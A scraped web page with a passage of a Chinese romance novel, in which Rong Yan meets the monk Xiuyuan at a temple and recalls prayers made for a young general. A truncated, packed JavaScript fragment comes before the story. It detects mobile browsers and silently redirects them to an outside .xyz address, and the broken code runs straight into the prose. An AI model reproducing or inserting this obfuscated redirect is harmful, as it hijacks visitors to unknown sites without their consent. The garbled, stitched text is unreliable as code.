RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12169015|123993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她不知道他是否还在孝贤殿,她在寺庙中漫无目的的逛着,却始终不敢靠近孝贤殿。 他说她一直在避着他,其实她更是怕见到他。 不知不觉,容嫣走到了寺庙后面的山门外。 这个时节,山寺外的玄梨花已经开败了,满树嫩叶日渐染绿。 山门一侧,几棵无叶的枯树下,几个和尚聚在一起正摆弄着什么。 容嫣正欲走上前去,被后面的人喊住。 “施主,是您?” 容嫣回过头去,喊住她的是个容貌清秀的年轻和尚。 她愣了一下,随后很快想起和尚是谁:“你是修缘?” 小和尚笑着点头:“先前也遇到施主来寺中,只是那时候没能有机会说上话。” 容嫣笑着点头:“你这几年长得高了,我都有些不太敢认了。” 听这话,小和尚腼腆笑笑,抬手摸了摸光秃秃的头。 “对了施主,您之前托我祈愿,我每年都在做,还攒了一些符纸,需要拿给您吗?” 闻此,容嫣身形顿住。 旁边修缘小和尚指了指院中的高大菩提树,笑着道:“记得小时候您为了挂的高,也不怕危险,非要拿梯子去挂在那最高的树枝上,说挂的高,佛祖就能一眼看到。” 容嫣侧眸,顺着看向寺庙中高大的菩提树。 修缘看着容嫣的脸颊,继续道:“施主放心,这五年我也按照当时施主挂的高度,把祈福条带都挂在了最高的树枝上。” 远远望去,红色祈福条带在风中飘扬。 ——我不会帮小将军写梵经,但以后每年我都会替小将军祈愿平安。 她一直记着……从不曾忘记。 不知何时,容嫣缓缓走近了那棵菩提树。 “施主,这是那些祈福后赠予的符纸,还是让被庇佑之人随身佩戴最好。” 修缘不知何时去拿了五张符纸回来。 “施主,以后我继续祈愿。”修缘虽然不知道为何容嫣不亲自祈福,但他并未多问,他还记得五年前容嫣给了他一张八字,托他每年帮她为八字主人祈愿平安。 容嫣接过那五张符纸,她轻声:“不必了,以后我会亲自过来祈愿,多谢你。” 山门外,几个和尚还在围着那几棵枯树,最小的和尚看着大概七八岁的样子,他歪头好奇:“师兄,师兄,你们在干什么啊,为什么要用沾了水的布条把树枝包起来啊?” “这不是水,是师父特意配的药水。” “药水?” “这药水是专门用来给这玄梨树生芽用的,师父说这几棵玄梨树往些年开的最好,也是最耐寒的,不过有一年气候太怪了,这几棵最坚韧的玄梨在腊月里早早冒了芽,结果天太冷了,天气又寒又干,这早芽被冻坏了。” “可是还能活吗?我怎么感觉从我记事起,这几棵树就没开过,怕不是死了。” “不会的,玄梨最耐寒,它们没死,只是冻伤了芽,等用师父特意配制的药水好好养上些时日,说不定哪年就又发芽了。” 风吹过,祈福条带下面挂着的铃铛轻响,那些被容嫣刻意藏起来的记忆被唤醒,不受控的在脑海中恣意翻涌。 怎么会不记得呢,她的记性最好了,那时在伽蓝寺的每一幕,都是她后来反复回忆的美好记忆。 只是她不曾想到…… 那些她年少时的情窦初开,竟一直都是有回应的。